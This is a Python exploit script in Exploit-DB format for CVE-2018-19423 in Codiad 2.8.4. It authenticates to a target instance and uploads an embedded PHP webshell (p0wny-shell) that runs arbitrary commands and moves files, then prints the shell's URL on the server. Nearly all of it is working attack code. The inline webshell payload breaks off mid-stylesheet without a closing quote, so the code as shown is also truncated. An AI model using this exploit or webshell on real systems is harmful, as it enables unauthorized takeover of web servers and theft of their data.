# Exploit Title: Codiad 2.8.4 - Remote Code Execution (Authenticated) (3)
# Date: 24.05.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: http://codiad.com/
# Software Link: https://github.com/Codiad/Codiad/releases/tag/v.2.8.4
# Version: 2.8.4
# Tested on Xubuntu 20.04
# CVE: CVE-2018-19423

'''
Description:
Codiad 2.8.4 allows remote authenticated administrators to execute arbitrary code by uploading an executable file.
'''


'''
Import required modules:
'''
import requests
import json
import time
import sys
import urllib.parse

'''
User Input:
'''
target_ip = sys.argv[1]
target_port = sys.argv[2]
username = sys.argv[3]
password = sys.argv[4]
codiadpath = input('Please input the path of Codiad( for example: / ): ')
projectname = input('Please input the name of the actual project: ')



'''
Get cookie
'''
session = requests.Session()
link = 'http://' + target_ip + ':' + target_port + codiadpath
response = session.get(link)
cookies_session = session.cookies.get_dict()
cookie = json.dumps(cookies_session)
cookie = cookie.replace('"}','')
cookie = cookie.replace('{"', '')
cookie = cookie.replace('"', '')
cookie = cookie.replace(" ", '')
cookie = cookie.replace(":", '=')


'''
Authentication:
'''
# Compute Content-Length:
base_content_len = 45
username_encoded = urllib.parse.quote(username, safe='')
username_encoded_len = len(username_encoded.encode('utf-8'))
password_encoded = urllib.parse.quote(password, safe='')
password_encoded_len = len(password_encoded.encode('utf-8'))
content_len = base_content_len + username_encoded_len + password_encoded_len

# Header:
header = {
    'Host': target_ip,
    'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',
    'Accept': '*/*',
    'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
    'X-Requested-With': 'XMLHttpRequest',
    'Content-Length': str(content_len),
    'Origin': 'http://' + target_ip + ':' + target_port,
    'Connection': 'close',
    'Referer': 'http://' + target_ip + ':' + target_port + '/',
    'Cookie': cookie
}

# Body:
body = {
    'username': username,
    'password': password,
    'theme': 'default',
    'language': 'en'
}

# Post authentication request:
link_base = 'http://' + target_ip + ':' + target_port + codiadpath
link_auth = link_base + 'components/user/controller.php?action=authenticate'
print('')
print('Posting authentication request: ')
auth = requests.post(link_auth, headers=header, data=body)
print('Response: ')
print(auth.text)
time.sleep(2)


'''
Upload Webshell:
'''
# Construct Header:
header = {
    'Host': target_ip,
    'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
    'Accept-Encoding': 'gzip, deflate',
    "Content-Type": "multipart/form-data; boundary=---------------------------289777152427948045812862014674",
    'Connection': 'close',
    'Cookie': cookie,
    'Upgrade-Insecure-Requests': '1'
}

# Construct Shell Payload: https://github.com/flozz/p0wny-shell
data = "\r\n\r\n\r\n-----------------------------289777152427948045812862014674\r\nContent-Disposition: form-data; name=\"upload[]\"; filename=\"shell.php\"\r\nContent-Type: application/x-php\r\n\r\n\r\n\r\n<?php\n\nfunction featureShell($cmd, $cwd) {\n    $stdout = array();\n\n    if (preg_match(\"/^\\s*cd\\s*$/\", $cmd)) {\n        // pass\n    } elseif (preg_match(\"/^\\s*cd\\s+(.+)\\s*(2>&1)?$/\", $cmd)) {\n        chdir($cwd);\n        preg_match(\"/^\\s*cd\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n        chdir($match[1]);\n    } elseif (preg_match(\"/^\\s*download\\s+[^\\s]+\\s*(2>&1)?$/\", $cmd)) {\n        chdir($cwd);\n        preg_match(\"/^\\s*download\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n        return featureDownload($match[1]);\n    } else {\n        chdir($cwd);\n        exec($cmd, $stdout);\n    }\n\n    return array(\n        \"stdout\" => $stdout,\n        \"cwd\" => getcwd()\n    );\n}\n\nfunction featurePwd() {\n    return array(\"cwd\" => getcwd());\n}\n\nfunction featureHint($fileName, $cwd, $type) {\n    chdir($cwd);\n    if ($type == 'cmd') {\n        $cmd = \"compgen -c $fileName\";\n    } else {\n        $cmd = \"compgen -f $fileName\";\n    }\n    $cmd = \"/bin/bash -c \\\"$cmd\\\"\";\n    $files = explode(\"\\n\", shell_exec($cmd));\n    return array(\n        'files' => $files,\n    );\n}\n\nfunction featureDownload($filePath) {\n    $file = @file_get_contents($filePath);\n    if ($file === FALSE) {\n        return array(\n            'stdout' => array('File not found / no read permission.'),\n            'cwd' => getcwd()\n        );\n    } else {\n        return array(\n            'name' => basename($filePath),\n            'file' => base64_encode($file)\n        );\n    }\n}\n\nfunction featureUpload($path, $file, $cwd) {\n    chdir($cwd);\n    $f = @fopen($path, 'wb');\n    if ($f === FALSE) {\n        return array(\n            'stdout' => array('Invalid path / no write permission.'),\n            'cwd' => getcwd()\n        );\n    } else {\n        fwrite($f, base64_decode($file));\n        fclose($f);\n        return array(\n            'stdout' => array('Done.'),\n            'cwd' => getcwd()\n        );\n    }\n}\n\nif (isset($_GET[\"feature\"])) {\n\n    $response = NULL;\n\n    switch ($_GET[\"feature\"]) {\n        case \"shell\":\n            $cmd = $_POST['cmd'];\n            if (!preg_match('/2>/', $cmd)) {\n                $cmd .= ' 2>&1';\n            }\n            $response = featureShell($cmd, $_POST[\"cwd\"]);\n            break;\n        case \"pwd\":\n            $response = featurePwd();\n            break;\n        case \"hint\":\n            $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);\n            break;\n        case 'upload':\n            $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);\n    }\n\n    header(\"Content-Type: application/json\");\n    echo json_encode($response);\n    die();\n}\n\n?><!DOCTYPE html>\n\n<html>\n\n    <head>\n        <meta charset=\"UTF-8\" />\n        <title>p0wny@shell:~#</title>\n        <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n        <style>\n            html, body {\n                margin: 0;\n                padding: 0;\n                background: #333;\n                color: #eee;\n                font-family: monospace;\n            }\n\n            *::-webkit-scrollbar-track {\n                border-radius: 8px;\n                background-color: #353535;\n            }\n\n            *::-webkit-scrollbar {\n                width: 8px;\n                height: 8px;\n            }\n\n            *::-webkit-scrollbar-thumb {\n                border-radius: 8px;\n                -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);\n                background-color: #bcbcbc;\n            }\n\n            #shell {\n                background: #222;\n                max-width: 800px;\n                margin: 50px auto 0 auto;\n                box-shadow: 0 0 5px rgba(0, 0, 0, .3);\n                font-size: 10pt;\n          

#Construct link and posting request which will upload the file:
link_exploit = link_base + 'components/filemanager/controller.php?action=upload&path=/var/www/html/data/' + projectname
print('')
print('Posting request wich will upload the file: ')
exploit = requests.post(link_exploit, headers=header, data=data)
print('Response:')
print(exploit.text)
time.sleep(2)


'''
Finish:
'''
print('')
print('File uploaded except you got an error message before. If so please run this program again and correct your',
      'mistakes!')
print('')
print('Path of file on the server: http://' + target_ip + ':' + target_port + codiadpath + '/data/' + projectname + '/' + 'shell.php')
print('')